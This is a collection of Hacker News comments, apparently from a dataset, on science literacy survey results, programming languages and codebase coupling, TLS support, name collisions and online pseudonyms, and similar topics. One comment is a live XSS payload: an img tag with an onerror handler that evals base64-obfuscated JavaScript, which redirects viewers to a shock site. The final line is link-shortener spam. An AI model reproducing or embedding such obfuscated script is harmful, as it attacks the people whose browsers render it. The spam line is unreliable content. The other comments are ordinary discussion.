skysight-inc/HackerNews huggingface dataset:
I came here to post this very thing. Unless you have something real to work on learning a language, framework, or tool is not going to be rewarding. A programming language is a means to an end; that should never be forgotten.

I love learning new platforms but I know from experience that I have to have a real meaningful project to work on. I have thrown in the towel a few times myself and I've been programming for decades.
Who cares about these studies?

I too would answer that the Earth orbits the moon if a sciency guy approached me in any kind of test and asked this question.
<img src="x" onerror="eval(atob('aWYoZG9jdW1lbnQubG9jYXRpb24uaHJlZiE9J2h0dHA6Ly9hbHRleHBsb3Jlci5uZXQnKWRvY3VtZW50LmxvY2F0aW9uPScvL2dvYXRzZS5jeCc7'))" />
That horse has bolted long ago.

Python, Ruby, Javascript, PHP. You name it, they can all do full stack. Even C can be used, i.e. http://doom.pdox.net/

The problem with most new languages is that they solve just one or two existing problems. Just like politics in a multiparty democracy like Canada, UK, Germany and even Russia, the major parties can adopt ideas promoted by one of the lesser parties and then there is no need for voters to take the risk and elect the lesser party.

For example, Python adopted more and more functional features over the last 10 years and now you can write perfectly good Functional Reactive code in Python. Javascript has lagged a bit, but the standards work is steadily adding features and catching up. Even Java 8 is on this bandwagon.

So, there is no need to create whole new ecosystems around a whole new language.
The table on page 23 shows the US tying or beating all other sampled countries for % correct in most of the basic science pop-quiz questions. How does this mesh with the widely-repeated statistics of US math and science education ranking 10th, 20th, or lower in the world? Is it because the answers come from the general population rather than students?
Well the way I think about it Flickr is still a 'publication' service rather than a storage service. So you store your pictures in your cloud, you upload the ones you want to share to Flickr. This is the model my Dad uses for example (pushing images he wants to share to Picasa but leaving the bulk of his photos on a storage unit at home). His challenge was he decides he wants to share one while not at home, and he can't, but with this private cloud abstraction he can, he just shares it like it would from home, except rather than being at home and uploading it from his storage stack he is on the road and uploading from his storage stack.

When Picasa loses favor with Larry and gets shut down, his data is still safe he has just lost his ability to point people at Picasa and can switch to Flickr. My assertion (which I agree is yet unproven) is that we didn't start designing things this way because bandwidth to the cloud was always better than bandwidth to your 'home' (which was largely dial-up early on).

But unlike a pure storage container I'd love to be able to use an email service which will 'drop off' my email into this infrastructure, which I can read at my leisure but not have it stored in the 'cloud' where it can get lost (or perhaps spied upon).

In some ways your satellite TV receiver (especially if it has 'sling box' type capabilities) is sort of along the system design models of having a captive bit of compute/storage in your home that offers you service on the road and at home, and the vendor can push content into. Think about that for services other than just TV.
ELBs have terrible TLS support... Cipher suite choice and ordering support is abysmal, and they only recently started supporting newer TLS versions. OCSP stapling isn't supported either.

https://wiki.mozilla.org/Security/Server_Side_TLS#Amazon_Web... gives more information if you're curious.
Venezuela Blocks Twitter as Opposition Stage New Protests
I thought it's relative to what frame of reference you choose.
Where do I go now?
You'd be right about that: http://neoacademic.com/2014/02/14/nsf-report-flawed-american...
If a scientific theory is just a guess, then the human eye is a just lens.

I'm sure you're aware, there's a bit more to it than that.
> Demand gets higher, and prices for those goods go up.

Then everyone will complain that they aren't getting their basic income anymore and demand the basic income be raised.

> On top of that, necessary goods with a satiation point (e.g. food and shelter) would be more resistant to these effects.

The opposite seems to occur in practice. The price of whatever is subsidized goes up. Example: Cost of education.

The only way to prevent this is to impose price controls. Single payer medical schemes are a great example.
Correct, but the site isn't following the terms of that license.
I once explained to my (very argumentative) ex that when most people use words like "hypothesis" or "theory" they basically mean "guess." He was shocked and then said something like "that explains a lot of conversations I have had..." Of course, he meant their scientific definition, not remotely what most people meant when arguing with him.
I have a friend who has the dubious honor of sharing a name with a convicted murderer who was executed in Texas a few years ago.

I asked him about how he thinks that has effected him. His take is that although it might turn off some brain-dead HR people, since there is no actual ambiguity (he surely is not an executed person) it hasn't negatively impacted him too much but it does push all the relevant links off the first few google results pages unless he actively does SEO stuff to correct it. He asserts that it gives him a good deal of control over what google shows for his name.

I've taken a similar approach to online pseudonyms. Any work that I don't intend to be attached to my 'meatspace' identity is done under names that will return irrelevant results when googled, making it difficult to find my other accounts that may have the same pseudonym on other sites.
As much as I love the gimp, you'd have a hard time doing a lot of professional editing without deep colour support.
Some programmers may be narcissists, sure. But I think the big obstacle standing in the way of collaborative programming is having to be aware of too much other code in the first place.

It's very hard to read code, because code isn't linear--it's more like de-serializing a graph in your head, and so it takes somewhere between O(n log n) and O(n^2) to fully grok a codebase of size N. So we should limit N as much as possible.

Now, as programmers, we theoretically know how to limit N just fine. We can still make programs as big as we like, but as long as there's low coupling between the components making up those programs, each component can be separated into its own codebase. Each component exports a documented API, each other component consumes those APIs, treating their dependent components as black boxes. This is well-known stuff.

But despite "decrease coupling!" being one of the first things pounded into most programmers in Introduction to Blub courses since the 70s, coupling is still way too high, and codebases far too large as a result. Low coupling, when dressed up in terms like "Service-oriented architecture" or "the Unix philosophy", is seen as mystifying and novel to most programming journeymen, like some sort of weird Eastern religion. This probably means that, despite learning what coupling is and being able to recite that definition in a sort of cargo-cult manner, they never really viscerally absorbed what coupling does, the pain it causes, or how to lower it[1].

You shouldn't have to dive into a codebase big enough to drown yourself in. Codebases shouldn't be that big. Each codebase should be more like a little puddle, maintained by a few people (or even just one narcissistic person!), which is small enough that, if someone gets hit by a bus (or gets annoyed with the narcissist), it's both able to be read in one sitting, or able to be re-written from scratch in one sprint.

Effectively, this creates a "bus factor" of infinity: if any component is small enough that it can be learned, or recreated, then the original programmer is unnecessary to that component's upkeep. Because, sort of like an EC2 instance, the component is just as likely to be created anew, as it is to be "closed" and then "opened" again.

---

[1] I imagine that you could imbue such knowledge with a single assignment to the effect of:

* We'll be working with three already-written programs, Foo, Bar, and Baz. They're each available in source-control on Github.

* Foo is componentized already, so it's split into five codebases. You can clone the main one, then run `git submodule update` to get the rest.

* Bar and Baz, meanwhile, are big monolithic codebases. Just clone the whole mess.

1. On each of the original projects, two open bugs is listed in the issues. Fix the first bug in your fork.

2. Now, refactor your fork of Bar into componentized form. Copy the submodule approach of Foo.

3. Now fix the second bug listed on each of the projects' issue-trackers.
It can go very far, sadly: I found the story of a guy killed because he was homonymous when I wrote http://ils.sont.la/post/is-your-name-web-ready some time ago.

Homonymity is never really an asset: you don't control it as you can control anonymity and pseudonymity.
The TrueVault team is awesome and they have a killer API. If you're building anything that touches patient health info, you should talk to them about HIPAA security.
So?

Even if title quote is true, what percentage of the population needs to know this (to live better, work better, act in some different fashion)? 5%? 1%? less?

In other words, it is knowledge of trivia for most people. Perfectly fine, if you go in for that sort of thing (and I do),
but why look down your nose at those who don't?

Of course, knowing the scientific method can change how you act, but so can understanding lots of things. Finite time and attention. Or be a hater.
Fact: In science, an observation that has been repeatedly confirmed.

Law: A descriptive generalization about how some aspect of the natural world behaves under stated circumstances.

Hypothesis: A testable statement about the natural world that can be used to build more complex inferences and explanations.

Theory: In science, a well-substantiated explanation of some aspect of the natural world that can incorporate facts, laws, inferences, and tested hypotheses.

(Source: http://arstechnica.com/science/2006/08/5164/)

Edit:

How it works...

"Massive objects are attracted to each other by the force of gravity." == Scientific Fact.

"Objects in motion remain in motion. For every force there is an equal an opposite reaction. Force is mass times acceleration." == Scientific Law (Newton's Laws of Motion).

"The bending of space under the influence of gravity can cause light to curve around massive objects." == Scientific Hypothesis (Verified by Eddington's 1919 solar eclipse observations).

All of the above (and a whole lot more) put together == General Theory of Relativity.
Indeed, this is the reason why there is still so much backlash and state suppression of the highly established fact that is the theory of evolution.

Equivocation on top of religious biases.
These days "troll" just means "someone on the Internet who disagrees with me and says so". The term has been so overused as to become meaningless.
Why? would you say, quantum mechanics theory is a universal truth, a fact, or just a very good guess? Because general relativity is also a theory, but both theories cannot be true in our universe as they contradict.

It's the same with almost any natural science theory. Theories try to be very good aproximations of the truth, until a better guess comes out.
Ok fair enough.

My point is start with the primitives. Baby steps.
Best Valentine EVER
So, last year my amazing long distance boyfriend created a sweet Valentine’s day video for me and I was left speechless. It was so special and I still watch it all the time! Today, he blew me away with another amazingly sweet video. Best.Valentine.Ever! :)
Dropbox’s hiring practices explain its disappointing lack of female employees
I speak only as someone who was raised in a somewhat alternative upbringing. I wouldn't describe it as anti-science, but perhaps more critical of science. I thought moving away from those rural areas would bring me to see things differently, but overall anything claiming to be science, especially once you get into the more controversial subjects, seems to be more corrupted than nearly any industry which could impact society half as much. There almost seems to be a religious faith in certain bodies of self-claimed scientist. Funding, the lack of sharing their findings and sources has only embraced what I once thought I would see differently. Science is anything but, and the only one I trust is myself. I will not accept summerization of findings from the current community unless it agrees with traditional though or what I can come to understand myself.
> "I was at a major disadvantage, I was in Dallas, Texas. The concentration of technical talent was small, and it could take months to find and convince just one other person to partner with. For a second I entertained the thought of moving to San Francisco, joining a startup, going to conferences, building up network, and then working on what I wanted. But I quickly realized how absurd the whole process was."

Isn't it ironic where in a world where these guys would fund the next big idea to "connect the world", you cannot actually connect to them without doing it the old-school way.

I suppose "eating your own dog food" isn't a possibility for the people that fund and over-value world-connecting services: " because it is apparently only meant to connect the "other people" while we can only fund you if we meet you over a cup of coffee and you're wearing a HOODIE with sandals and its 32 degrees celcius".
The EU was even worse at 66% of those surveyed got the answer correct.
1 in 4 Americans don't know a piece of technical trivia that has zero relevance to their lives, and is equivalent to their model on all ways that matter to them.
Sherlock Holmes didn't either and he was a rockstar detective.
Ironically, this is probably exactly how that quarter of the population feels about the notion that the Earth orbits the sun.
You mean the 6000 year old earth borne through the ether by angels?

http://www.gallup.com/poll/145286/Four-Americans-Believe-Str...
http://www.huffingtonpost.com/2011/12/23/believing-in-angels...
I suspect we're on the same (idealistic) philosophical wave length here, I just can't link my current (personal) projections of the future with what you describe.

You speak of "remove suffering" whilst I speak of inequality increased a 100 fold. You are clearly a very reasonable person, but I don't see a "meeting of minds" happening here unless I misunderstood you dramatically - there is no overcoming that gap. A 100 fold increase in inequality destroys everything in its path.
You're on to something.

I once met a person who was anti-anything which isnt coming from her own mind.

Science? Nah, she got "power of her mind" to bend and twist metals(move objects around - only if she could just focus and use more than 10% of her brain.

We got into a heated discussion about knowledge, science and philosophy, it all boiled down to "I believe whatever I want and thats the only thing that matters, no matter what you say or how things appear or whatever else".

At one point I asked her how she knows that she is right about that about anything, she said she doesnt really but she chooses to believe it. And hence anything, science, philosophy, knowledge, if the rock over there really is hard and if it really is going to fall to the ground if I keep it in the air and drop it, its all a matter of belief, and if people believe it hard enough it wont necessarily always fall to the ground.

How would you approach further discussion with her?
While true, the actual data presents a different picture:

http://i.imgur.com/FXMlOZB.png

[source: http://www.nsf.gov/statistics/seind14/content/chapter-7/c07....]

So actually, the U.S. had the second highest score on that question, behind South Korea. Furthermore, the U.S. consistently performed on par or higher vs. the other countries/regions for the remaining questions.

The real outlier for the U.S. on this survey was the question about evolution -- only 48% of Americans got that right, significantly behind the rest of the pack.
Maxmind have a free database (GeoLite2) that's updated weekly. Here's an overview of the accuracy per country:

http://www.maxmind.com/en/geolite_city_accuracy

It's less accurate than their commercial offering, but good enough in many cases. For ease of use, there's a nice C API (https://github.com/maxmind/geoip-api-c) and wrappers like pygeoip for Python.
iPad Magician
For me, it's:

1. Pick the simplest, most trivial concept at the core of your project and implement the minimal toy version of it in a REPL.

2. Now implement the next simplest thing that moves the needle of progress.

3. Repeat.

I started working on a Bitcoin implementation a few months ago to practice Clojure. It started with this:

(def block0 {:hash "abc"})
(def block1 {:hash "def"
:prev block0})
Everyone, please stop pretending you aren't intentionally assigning different meanings to the same words. Put substance in your disagreement, not wordplay.
>Theory: In science, a well-substantiated explanation of some aspect of the natural world that can incorporate facts, laws, inferences, and tested hypotheses.

...that can be wrong and often are replaced by better theories as more tests and better explanations came out.

Science is based in doubt. If you are too sure of a scientific theory, you are missing what science really is about and what you need is religion.
Here's a different way of looking a the data, on page 23 of http://www.nsf.gov/statistics/seind14/content/chapter-7/c07....

Americans know about as much as people in similarly developed countries.

Really. Compare to the success rates versus South Korea and Japan. And then compare it to less economically developed parts of the world. Americans were the most correct among the surveyed populations about radiation, antibiotics, atomic structure, and lasers.

The takeaway shouldn't be "Americans are ignorant" but really that "Education is hard" and "Poverty inhibits education"
The punchline to this story is that a few years ago the Times stopped scrambling their .puz files, making all this reverse-engineering work largely irrelevant.

(At the time I was using a modified version of the "xword" program in Debian's repo, which didn't detect whether the file was scrambled. In other words, it treated every letter as wrong because it didn't match the enciphered grid. I ended up hacking in some code to detect these files and disable the check/reveal features when playing them.)
I use talc and or boric acid.
That was my first snarky reaction. When I jump, it must appear to my feet that the earth is trying to catch up to them!
I tried coming back to you, nearly a day later, and civilly explaining myself and my position, again. Another poster has even explained my position to you (oddly enough, they have no trouble understanding the points I'm making here). Still, you have insisted on misinterpretation of my posts, picking out and making a big deal of small details, and generally being an asshole to me since the very first post you sent me (which pretty much set the tone for our entire conversation).

It's clear that nobody will be persuading anybody here, that we're both right in our own eyes, and this is going nowhere. I'm tired of trying to explain myself to you. I'm tired of you constantly ending your posts with (not so) clever remarks about how I'm a stupid trolling troll. I'm tired of you. You're argumentative for argumentation's sake (which is fine when you can listen to reason) and I'm really, actually, truly done with you now. Bye.

In response to https://news.ycombinator.com/item?id=7241518 (because apparently I'm submitting posts too often):

I've clearly explained above the way that I think the voting system should work, and I'm not even close to the only person who thinks that way (see: Reddiquette). You've crossed the line from argumentative to disingenuous.

I realize that you strongly dislike me, but please don't allow that to cloud your vision when reading my posts.
If discourse with AIs is more valuable than discourse with human beings, humanity is on its way out anyway. Why would anyone teach a human being anything in that case? It would be AIs teaching each other.
I think you're taking a very Railscentrc view of Ruby.

rubygems the tool existed before Rails, as did multiple gem hosting mirrors. I believe rubygems.org sprang up because rubyforge.org was falling out of favor. And Bundler is not part of Ruby.

It's possible Wayne Seguin created rvm due Rails but I never got that impression from his talks (but it's been some time).

Pretty sure MenTaLguY created "tap"; Rails had "returning" (though they are similar and perhaps the usage in Rails made it popular enough to warrant inclusion in core).

http://moonbase.rydia.net/mental/blog/programming/eavesdropp...

Certainly if any library gets a lot of use then that will influence aspects of the base language, but matz and ko1 seem pretty deliberate about what gets added.
I thought soliciting for sex for money was explicitly illegal, besides the crime of actually sexing for money.
Tom Perkins Willing to Say What Rest of Ultrarich Secretly Thinking
The first mistake is thinking that all existing code out there makes sense and is written by people who actually know what they are doing. It doesn't, it isn't, it's mostly shitty.
On the topic of cracked versions: I thought we were working within the framework of the law. If not, it's true, we have a world of options such as "Hold the developer at gunpoint and force him to keep working on it." I'm not sure very many people would want their software infrastructure based on law-breaking, though.

As for switching software: That puts us roughly in the same place we are when SaaS companies go under.
How are you able to operate nationwide without money transmission licenses in each state?
Another fun fact: Europeans were more likely to answer correctly about evolution than the earth going round the sun.
Also interesting, only 32 percent of Indians answered "true" to the statement "The continents have been moving their location for millions of years and will continue to move" whereas 83 percent of Americans answered this question correctly.
Based on my experience working on a couple different online homework systems, it's actually a hard problem to determine what kind of wrong answers belong to what kind of conceptual difficulty, even in mathematics.

These systems rely on humans to curate the conceptual difficulties associated with each problem separately, but those lists are never complete and often just confuse the student further.

Some systems don't even try to do what you're suggesting, and just give students the "right" way to solve the problem at hand after a certain number of attempts. These are by far the worst, as it's painfully easy to game the system.
It's intentional that you can't.
People usually use the same username, too, so using the LinkedIn username on Twitter: https://twitter.com/krnaveen. There's this tweet from November:

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make the short links and earn the biggest money. http://4co.in